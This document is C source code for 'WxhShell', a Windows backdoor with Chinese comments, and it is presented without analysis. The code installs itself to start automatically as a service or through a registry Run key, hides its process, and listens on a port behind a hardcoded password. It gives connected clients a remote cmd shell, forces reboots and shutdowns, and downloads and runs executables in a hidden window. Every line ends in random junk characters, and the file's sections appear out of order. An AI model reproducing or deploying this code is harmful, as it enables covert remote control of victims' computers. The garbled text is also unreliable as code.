    if(Boot(SHUTDOWN)) _.\p^ HM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NlWIb2,  
    else { \}G/F!  
    closesocket(wsh); D(L%fK`+  
    ExitThread(0); o3%Gc/6%  
    } &{l?j>|TM  
    break; (}c}=V  
    } _%"/I96'  
  // 获取shell -CxaOZG  
  case 's': { )<jj O  
    CmdShell(wsh); Ue~M .LZb  
    closesocket(wsh); }JvyjE  
    ExitThread(0); ?2DYz"/')  
    break; }0qgvw  
  } N{oD1%  
  // 退出 $FCLo8/=  
  case 'x': { Jf4D">h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lZ E x0  
    CloseIt(wsh); g6 r3V.X'  
    break; _f2(vWCW;J  
    } >a@-OJ.yOk  
  // 离开 )1&[uE#L  
  case 'q': { 6uR :/PTG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _fa2ntuS=f  
    closesocket(wsh); IQY\L@"  
    WSACleanup(); ob-z-iDz  
    exit(1); lYD-U8  
    break; LB U]^t@ M  
        } e3\*Np!rTQ  
  } BTGPP@p4  
  } M0 =K#/  
Oz]iHe  
  // 提示信息 k q_B5L?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Cde5A{K  
} _q+H>1. &9  
  } ~B|K]&/]  
m03;'Nj'7#  
  return; AfFF u\  
} _Su$oOy(Ea  
8^^Xr  
// shell模块句柄 1kvBQ1+  
int CmdShell(SOCKET sock) x4R[Q&:M  
{ U $e-e/  
STARTUPINFO si; !&?(ty^F  
ZeroMemory(&si,sizeof(si)); @My-O@C>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -h8A<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @6(4}&sEdm  
PROCESS_INFORMATION ProcessInfo; >o%.`)Ar  
char cmdline[]="cmd"; c$bb0J%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 45q-x_  
  return 0; fPa FL}&  
} Q4}2-}|  
:a nUr<  
// 自身启动模式 Z^>{bW  
int StartFromService(void) " :@5|4qK  
{ $yLsuqB}  
typedef struct cZPv6c_w  
{ DXsp 2  
  DWORD ExitStatus; 349W0>eOT  
  DWORD PebBaseAddress; #1&w fI$  
  DWORD AffinityMask; 2LEf"FH0~  
  DWORD BasePriority; MG<F.u  
  ULONG UniqueProcessId; /87?U; |V  
  ULONG InheritedFromUniqueProcessId; 7[.aAGTZ;  
}   PROCESS_BASIC_INFORMATION; }&bO;o&>  
Y Dq5%N`  
PROCNTQSIP NtQueryInformationProcess; I?EtU/AD  
Pur~Rz\ \  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OZB(4{vnyC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )zf&`T  
`og 3P:y  
  HANDLE             hProcess; ( Y'q%$  
  PROCESS_BASIC_INFORMATION pbi; ` XE8[XY  
V80g+)|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *[9FPya  
  if(NULL == hInst ) return 0; z~# .Ey  
_ 2R;@[f2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~jQ|X?tR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7%b?[}y4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Z 3iu  
DwMq  
  if (!NtQueryInformationProcess) return 0; {D={>0  
JS1$l+1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U\*}}   
  if(!hProcess) return 0; rB}Iwp8  
Lf4c[[@%gd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ ]}E- V  
&-dyg+b3  
  CloseHandle(hProcess); DZ<q)EpC  
mG*[5?=r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F\^9=}b_i  
if(hProcess==NULL) return 0; :D\M.A  
xKi: 2  
HMODULE hMod; q@1b{q#C5  
char procName[255]; om@GH0o+  
unsigned long cbNeeded; Z@4 BTA  
'avzESe~'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [AstD9  
=aX;-  
  CloseHandle(hProcess); z/dpnGX  
(P%{Tab  
if(strstr(procName,"services")) return 1; // 以服务启动 7k.=_Tl  
@eU;oRVc{  
  return 0; // 注册表启动 =]X_wA;%  
} Zi<Y?Vm/,O  
e* {'A  
// 主模块 "j#;MOK  
int StartWxhshell(LPSTR lpCmdLine) j *B,b4  
{ KzZ|{ !C  
  SOCKET wsl; HC_+7O3A  
BOOL val=TRUE; "#Qqwsw7  
  int port=0; Ro\ U T64  
  struct sockaddr_in door; ve|ig]$5g<  
`!V=~"ve  
  if(wscfg.ws_autoins) Install(); J$Uj@M  
mwU|Hh)N]  
port=atoi(lpCmdLine); !6{; z/Hy  
Gi]R8?M  
if(port<=0) port=wscfg.ws_port; wK>a&`<  
us%dw&   
  WSADATA data; 2l^hnog|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VJviX[V?4  
F6^Xi"R[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |h}/#qhR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lKKg n{R  
  door.sin_family = AF_INET; "jS @ug  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %xv }  
  door.sin_port = htons(port); j N":9+F  
&m<:&h& b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]@LeyT'cY  
closesocket(wsl); }ADdKK-  
return 1; .nh }f}j  
} *L7&P46  
onqfmQ,3E  
  if(listen(wsl,2) == INVALID_SOCKET) { xDJ@MW#  
closesocket(wsl); Vcjmj  
return 1; r I)Y W0  
} .xG3`YH  
  Wxhshell(wsl); ~nLE?>x|Z  
  WSACleanup(); b{4@ ~>i  
+OEqDXR+_  
return 0; nbd-f6F6  
UaA1HZ1  
} W@S>#3,  
pe%$(%@v  
// 以NT服务方式启动 ,cj531.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3'3E:}o|  
{ 55LW[Pc  
DWORD   status = 0; @s7ZfV??  
  DWORD   specificError = 0xfffffff; :qlcN@_  
tAPn? d5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GS_+KR\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tE=;V) %we  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dZMf5=tb  
  serviceStatus.dwWin32ExitCode     = 0; `hpX97v  
  serviceStatus.dwServiceSpecificExitCode = 0; :xwyE(w  
  serviceStatus.dwCheckPoint       = 0; 'LC-/_g  
  serviceStatus.dwWaitHint       = 0; aUZh_<@  
SrVo0$5)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =*2_B~`  
  if (hServiceStatusHandle==0) return; gs/ i%O  
Vd%%lv{v  
status = GetLastError(); ~F; ~  
  if (status!=NO_ERROR) dbVMG-z8  
{ ou V%*<Ki  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B=!&rKF  
    serviceStatus.dwCheckPoint       = 0; OQ*BPmS-   
    serviceStatus.dwWaitHint       = 0; EjY8g@M;t  
    serviceStatus.dwWin32ExitCode     = status; ECW=865jL  
    serviceStatus.dwServiceSpecificExitCode = specificError; ' v)@K0P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{Ad(S4J&  
    return; H<N$z 3k  
  } 9szUN;:ZZ  
HgY [Q}7s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8_*31Y   
  serviceStatus.dwCheckPoint       = 0; [T}Lq~  
  serviceStatus.dwWaitHint       = 0; *h([ai"1-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A  [c1E[  
} `PoFKtVX M  
Gn?NY}.S  
// 处理NT服务事件,比如:启动、停止 rm}%C(C{J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fi!BXngbd  
{ ue8"_N  
switch(fdwControl) -/w#f&Y+]8  
{ oeKVcVP|'&  
case SERVICE_CONTROL_STOP: v~.nP} E^  
  serviceStatus.dwWin32ExitCode = 0; ?Sj >b   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :)*+ aS"  
  serviceStatus.dwCheckPoint   = 0; .dwy+BzS  
  serviceStatus.dwWaitHint     = 0; e #!YdXSx  
  { GBg~NkC7.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .m gm1zz  
  } KA#P_e{<@  
  return; Sdo mG?;kV  
case SERVICE_CONTROL_PAUSE: ! )x2   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W[VbFsI&b  
  break; }w_r(g?\  
case SERVICE_CONTROL_CONTINUE: U\'HB.P\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fV(WUN+  
  break; ](@HPAG]  
case SERVICE_CONTROL_INTERROGATE: :z-UnC||j  
  break; #lDW?  
}; V9:Jz Q=?`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [aS<u`/g|  
} R]LuZN  
fFe{oR   
// 标准应用程序主函数 (,`R>Dk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d8!yV~Ka  
{ '-KYeT\;  
14DHU  
// 获取操作系统版本 5Q$.q &,  
OsIsNt=GetOsVer(); iZ( U]  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  Gv(?u  
*DUP$@}k  
  // 从命令行安装 =:"wU  
  if(strpbrk(lpCmdLine,"iI")) Install(); gVscdg5  
je#OV,uHM  
  // 下载执行文件 !E@4^A80\W  
if(wscfg.ws_downexe) { Tb!Fv W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T1*%]6&V|  
  WinExec(wscfg.ws_filenam,SW_HIDE); &# < M o  
} +x(~!33[G  
Y#<>N-X|kA  
if(!OsIsNt) { A||,|He~  
// 如果时win9x,隐藏进程并且设置为注册表启动 6"djX47j  
HideProc(); p!Xn iY  
StartWxhshell(lpCmdLine); QWQJSz5  
} umo<9Y  
else eYQPK?jo  
  if(StartFromService()) *ufVZzP(  
  // 以服务方式启动 o|cx?  
  StartServiceCtrlDispatcher(DispatchTable); DQI b57j  
else ;R[w}#Sm  
  // 普通方式启动 Z<IN>:l  
  StartWxhshell(lpCmdLine); x@LNjlP  
I<+i87=  
return 0; EA``G8Vn>  
} +bDBc?HZ{$  
8\VP)<<  
ZJf:a}=h  
Z#NEa.]  
=========================================== sS{!z@\Lf  
M 8NWQ^Y  
4.e0k<]N`  
=THRy ZCH  
oAprM Z 7Y  
MHqk-4Mz  
" g-LMct8$  
q|zips,  
#include <stdio.h> vrq5 +K&||  
#include <string.h> +l27y0>t  
#include <windows.h> vq` M]1]FO  
#include <winsock2.h> +(U;+6 b  
#include <winsvc.h> csjCXT=Ve  
#include <urlmon.h> ,CxIA^  
90Bn}@t=Q  
#pragma comment (lib, "Ws2_32.lib") S Rb-eDk'  
#pragma comment (lib, "urlmon.lib") ,^1B"#0{C<  
PJF1+I.%c#  
#define MAX_USER   100 // 最大客户端连接数 ){I!orQ  
#define BUF_SOCK   200 // sock buffer "$#<+H>O  
#define KEY_BUFF   255 // 输入 buffer A4{p(MS5  
91\Sb:>  
#define REBOOT     0   // 重启 oJ.5! Kg  
#define SHUTDOWN   1   // 关机 Whl^~$+f  
q}|_]R_y  
#define DEF_PORT   5000 // 监听端口 O|AY2QH\  
=&t]R? F  
#define REG_LEN     16   // 注册表键长度 kyH0J[/n  
#define SVC_LEN     80   // NT服务名长度 ( yK@(euG  
t2LX@Q"  
// 从dll定义API N`J]k B7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g#%Egb1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T f40lv+{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;DgQ8"f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =Cc]ugl7-  
EC/=JlL`5  
// wxhshell配置信息 gvFs$X*^:  
struct WSCFG { m*'hHt n  
  int ws_port;         // 监听端口 'm^]X3y*  
  char ws_passstr[REG_LEN]; // 口令 {YK7';_E*  
  int ws_autoins;       // 安装标记, 1=yes 0=no A~X| vW  
  char ws_regname[REG_LEN]; // 注册表键名 /hSEm.<  
  char ws_svcname[REG_LEN]; // 服务名 ^AF~k#R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4TRF-f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (B0QBDj!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9]%2Yb8SC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1]a\uq}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RxE.t[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  B9dc *  
\GPTGi5A  
}; l T#WM]  
u<JkP <"S  
// default Wxhshell configuration x~QZVL=:  
struct WSCFG wscfg={DEF_PORT, 2. q\!V}yQ  
    "xuhuanlingzhe", l4gZHMh'  
    1, #.{ddY{  
    "Wxhshell", &LYH >  
    "Wxhshell", _BoYy JQH  
            "WxhShell Service", _<%YLv  
    "Wrsky Windows CmdShell Service", /'a\$G"%6  
    "Please Input Your Password: ", w0X})&,{`m  
  1, BA8g[T A7K  
  "http://www.wrsky.com/wxhshell.exe", 3b?8<*  
  "Wxhshell.exe" ye-[l7  
    }; zF@[S  
qVW3oj<2  
// 消息定义模块 WK5B8u*<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w<u@L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?G[=pY:=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jqlfypU  
char *msg_ws_ext="\n\rExit."; q"i]&dMr  
char *msg_ws_end="\n\rQuit."; VCzb[.  
char *msg_ws_boot="\n\rReboot..."; G 2`hEX%  
char *msg_ws_poff="\n\rShutdown..."; ++ZP X'|  
char *msg_ws_down="\n\rSave to "; a@ ^)?cH!z  
biG :Xn  
char *msg_ws_err="\n\rErr!"; @<3kj R?j  
char *msg_ws_ok="\n\rOK!"; twhT6wz"  
>d(:XP6J  
char ExeFile[MAX_PATH]; uO>pl37@  
int nUser = 0; R|92T*h  
HANDLE handles[MAX_USER]; ;` h$xB(  
int OsIsNt; .%+anVXS  
Dy*K;e-+  
SERVICE_STATUS       serviceStatus; E|A~T7G=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <v!jS=T  
 7LB%7~{<  
// 函数声明 @KRia{  
int Install(void); `CRF E5  
int Uninstall(void); zY2x_}#Q\"  
int DownloadFile(char *sURL, SOCKET wsh); i|rCGa0}  
int Boot(int flag); \D1@UyE  
void HideProc(void); `! xI!Y\  
int GetOsVer(void); hka%!W5  
int Wxhshell(SOCKET wsl); 07]9VJa  
void TalkWithClient(void *cs); Aho-\9/x%  
int CmdShell(SOCKET sock); mV0u:ws  
int StartFromService(void); 7x]q>Y8T  
int StartWxhshell(LPSTR lpCmdLine); -jzoGzC3  
U]W "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {55f{5y3 c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H<tU[U=G  
#qARcxbK|  
// 数据结构和表定义 _>bk'V7  
SERVICE_TABLE_ENTRY DispatchTable[] = TK0WfWch  
{ >)HKruSW.  
{wscfg.ws_svcname, NTServiceMain}, 'nS>'yYH#  
{NULL, NULL} T 0qM "  
}; c axOxRo\  
$pIo`F _W  
// 自我安装 "ZL_  
int Install(void) p,tkVedR  
{ \E'z+0  
  char svExeFile[MAX_PATH]; 9 e|[9  
  HKEY key; $rJgBN   
  strcpy(svExeFile,ExeFile); k7& cc|y  
]Ot=At  
// 如果是win9x系统,修改注册表设为自启动 N_G84wxx  
if(!OsIsNt) { _4T7Vg''  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T7-yZSw -m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dw>)\\n{Kl  
  RegCloseKey(key); j`+{FCB7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9Wg;M#c2Y|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j'OXT<n*  
  RegCloseKey(key); I%b5a`7  
  return 0; MdFFt:y:  
    } b`JS&E  
  } v4K! BW  
} WM%w_,Z  
else { #xfav19{.  
~~O4!|t  
// 如果是NT以上系统,安装为系统服务 ,fhF-%Q!g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `(DHa=s1  
if (schSCManager!=0) 1<cx!=w'  
{ }57Jn5&'  
  SC_HANDLE schService = CreateService FAdTp.   
  ( o+L [o_er  
  schSCManager, m2&Vm~Py6b  
  wscfg.ws_svcname, ^Nu j/  
  wscfg.ws_svcdisp, KEdqA/F>  
  SERVICE_ALL_ACCESS, 7H|0.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4l>U13~#  
  SERVICE_AUTO_START, Igw2n{})w  
  SERVICE_ERROR_NORMAL, ^*+j7A.n  
  svExeFile, EPA 2_  
  NULL, mwMu1#  
  NULL, 4`Zo Ar-5|  
  NULL, ?B@3A)a  
  NULL, t 1~k+  
  NULL Qn~{TZz  
  ); l5]R*mR  
  if (schService!=0) wn|;Li  
  { k!G{#(++&6  
  CloseServiceHandle(schService); p&#ju*i6z  
  CloseServiceHandle(schSCManager); 7IQa Xcl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  E(wS6  
  strcat(svExeFile,wscfg.ws_svcname);  w%::~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O9m sPb:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ups0Xg&{  
  RegCloseKey(key); `gF`Sgz  
  return 0; &ld<fa(w+2  
    } rCsC}2O  
  } }@/Ox  
  CloseServiceHandle(schSCManager); yMzy!b Ky  
} Qmb+%z  
} ;JgSA&'e  
EQk omjv  
return 1; `z.sWF|f!O  
} v;-0^s/P  
$at\aJ  
// 自我卸载 bxO[y<|XL  
int Uninstall(void) :'xZF2  
{ ,9"du  
  HKEY key; >;F}>_i  
/reGT!u  
if(!OsIsNt) { 0M)\([W9&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oB>#P-V  
  RegDeleteValue(key,wscfg.ws_regname); dcTZL$  
  RegCloseKey(key); #xq3 )B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hN*v|LFf1  
  RegDeleteValue(key,wscfg.ws_regname); PW iuM=E  
  RegCloseKey(key); .:4*HB  
  return 0; I+ 3qu=  
  } 8N$Xq\Da+>  
} }}u`*&,g  
} &;W K=#  
else { lxbC 7?O  
`sy_'`i>X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L_|iQwU%  
if (schSCManager!=0) gwsOw [;k  
{ O/$41mK+!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  >|gXE>  
  if (schService!=0) W voIh4]  
  { 9$qw&j[  
  if(DeleteService(schService)!=0) { -e?n4YO*\  
  CloseServiceHandle(schService); t;0]d7ey'  
  CloseServiceHandle(schSCManager); 0v6Z 4Ahpo  
  return 0; \zBZ$5 rE  
  } [Jjo H1E@  
  CloseServiceHandle(schService); Jt0/*^'  
  } H6>tto  
  CloseServiceHandle(schSCManager); A>315!d"  
} qsN_EMgbdn  
} .W$9nbly  
:Ig9n :  
return 1; YHke^Ind  
} lp5'-Jo  
1}SON4U  
// 从指定url下载文件 k_Sm ep  
int DownloadFile(char *sURL, SOCKET wsh) 1{RA\CF  
{ I>w|80%%  
  HRESULT hr; 'vZy-qHrV  
char seps[]= "/"; EZVgTySd  
char *token; p2fzbBt  
char *file; t$p%UyVE  
char myURL[MAX_PATH]; LaZ @4/z!  
char myFILE[MAX_PATH]; AAuwE&Gg  
cVarvueS  
strcpy(myURL,sURL); O3d Qno  
  token=strtok(myURL,seps); j~=<O<P  
  while(token!=NULL) jeO`45O  
  { 0"N4WH O  
    file=token; __uk/2q  
  token=strtok(NULL,seps); ar'VoL}  
  } m;IKV,  
M0e&GR8<z>  
GetCurrentDirectory(MAX_PATH,myFILE); kmlO}0  
strcat(myFILE, "\\"); u[4h|*'"|  
strcat(myFILE, file); [H9<JdUZ  
  send(wsh,myFILE,strlen(myFILE),0); V$iA3)7W%  
send(wsh,"...",3,0); /,j'V r\"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8/y8tMm]  
  if(hr==S_OK) J-azBi  
return 0; |%rRALIY  
else u*oP:!s  
return 1; EG_P^ <z  
KV'3\`v@LY  
} .m%5Esx  
hYA1N&yz@  
// 系统电源模块 c=a;<,Rzb  
int Boot(int flag) : Q2=t!  
{ %kH,Rl\g  
  HANDLE hToken; X'%BS  
  TOKEN_PRIVILEGES tkp; h Y *^rY'  
6Bd:R}yZP7  
  if(OsIsNt) { Uxe]T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }dqOE-"I"n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .vIRz-S  
    tkp.PrivilegeCount = 1; &$#NV@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vfVF^ WOd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )7AjRtb!/  
if(flag==REBOOT) { e(OKE7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .lI.I  
  return 0; nJ1<8 p  
} F4~O-g.<  
else { h CV(O2jL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JE@3UXg  
  return 0; zP@\rZ@4  
} onS4ZE3B  
  } Wh"xt:  
  else { ~H[_=  
if(flag==REBOOT) { 9I#a{%A:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %+#l{\z  
  return 0; O`PQ4Q*F  
} #"H<k(-Cz  
else { %RzkP}1>E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;7JyL|2  
  return 0; us<dw@P7{  
} Y9%zo~]-W'  
} c"Q9ob  
V4W(> g  
return 1; WS1Y maV  
} V.yDZ"  
nn">   
// win9x进程隐藏模块 qA25P<  
void HideProc(void) - s{&_]A~  
{ |y?W#xb  
1p SEr6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ZLf(m35  
  if ( hKernel != NULL ) >{rD3X"d  
  { K!-iDaVI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z_y@4B6>}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'k<~HQr  
    FreeLibrary(hKernel); ZKB27D_vg>  
  } h<WTN_i}  
 xG'F  
return; Qi9M4Yv  
} jq|fI P  
JxRn)D  
// 获取操作系统版本 sd*NY  
int GetOsVer(void) jT-tsQ .,  
{ Go~3L8 '  
  OSVERSIONINFO winfo; :/fT8KCwo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : D !/.0  
  GetVersionEx(&winfo); F7=&CW 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k4"O} jQO  
  return 1; _gCi@uXS3  
  else w (ev=)7<  
  return 0; @ "C P@^  
} H^$7=  
5<oV>|*@{  
// 客户端句柄模块 Ik=bgEF  
int Wxhshell(SOCKET wsl) ag!q:6&  
{ rC,ZRFF  
  SOCKET wsh; #g1,U7vv8  
  struct sockaddr_in client; ;M *G  
  DWORD myID; 1ZWr@,\L  
:ee'|c  
  while(nUser<MAX_USER) XNl!?*l5?l  
{ nfE4rIE4  
  int nSize=sizeof(client); >[P`$XkXd4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `mN5sq  
  if(wsh==INVALID_SOCKET) return 1; >kDkvg1"  
;4`%?6%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sB'~=1m^  
if(handles[nUser]==0) d! _8+~  
  closesocket(wsh); r+h$]OJ  
else irGgo-x  
  nUser++; 1%N[DA^<\  
  } jF{\=&fU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QG XR<Y  
-}H EV#ev  
  return 0; =~k#<q1^  
} TO] cZZ<  
;\Pq  
// 关闭 socket Z. xOO|  
void CloseIt(SOCKET wsh) j3/K;U/SGJ  
{  .V l  
closesocket(wsh); <bh!wf6;  
nUser--; :8lqo%5  
ExitThread(0); R^JtWjJR  
} QY1|:(  
"^VPe[lA  
// 客户端请求句柄 (;++a9GK  
void TalkWithClient(void *cs) ^'hh?mL  
{ }>'1Qg  
E*}1_,q)  
  SOCKET wsh=(SOCKET)cs; l9{.~]V  
  char pwd[SVC_LEN]; |vh{Kb@  
  char cmd[KEY_BUFF]; ;n/04z  
char chr[1]; )zo:Bo .<  
int i,j; R]TS5b-  
?!n0N\|i]  
  while (nUser < MAX_USER) { NH8\&#}nAK  
9?+?V}o  
if(wscfg.ws_passstr) { Sfffm$H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [nB4s+NX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @t3&#I}mc  
  //ZeroMemory(pwd,KEY_BUFF); )'$'?Fn  
      i=0; IoHYY:[-  
  while(i<SVC_LEN) { -W1Apd%>  
 <+p{U(  
  // 设置超时 b./MVz  
  fd_set FdRead; #]s&[O43  
  struct timeval TimeOut; jd}-&DN  
  FD_ZERO(&FdRead); XchVsA  
  FD_SET(wsh,&FdRead); wv&%09U  
  TimeOut.tv_sec=8; 'o ZdMl&  
  TimeOut.tv_usec=0; [d6TwKv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *orP{p -U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @kB^~Wf  
o[ 4e_ @E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %OT?2-d  
  pwd=chr[0]; :qK^71gz  
  if(chr[0]==0xd || chr[0]==0xa) { zdN(r<m9"  
  pwd=0; `it  
  break; [xl+/F7  
  } x:`"tJa  
  i++; $Rf)iW;h  
    } B3@\Ua)  
zd {\XW  
  // 如果是非法用户,关闭 socket '/<f'R^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hni?r!8r  
} _'U(q\ri  
s )7sgP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f^@D uI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G`FY[^:  
k'-5&Q  
while(1) { (aSY.#;  
crr#tad.  
  ZeroMemory(cmd,KEY_BUFF); M1e79p<  
[Qn$i/ ` J  
      // 自动支持客户端 telnet标准   Bx ru7E"  
  j=0; ~)]R  
  while(j<KEY_BUFF) { YC =:W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xt X`3=s  
  cmd[j]=chr[0]; yMKVF`D*  
  if(chr[0]==0xa || chr[0]==0xd) { t@3y9U$  
  cmd[j]=0; OEXa^M4x   
  break; fH ?s~X]  
  }  [?moS!  
  j++; Kb*X2#;*  
    } A%% Vyz  
ZRj&k9D^U  
  // 下载文件 VK^m]??s_  
  if(strstr(cmd,"http://")) { ?m:,hI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 75*q^ui  
  if(DownloadFile(cmd,wsh)) # 4;(^`?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9=p/'d8  
  else 0z`-fQfK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(T_rEp  
  } .5GGZfJ]  
  else { E}8wnrxf  
{9<c*0l  
    switch(cmd[0]) { +L|-W9"@3  
  %p8#pt\$7  
  // 帮助 w)xfP^M#  
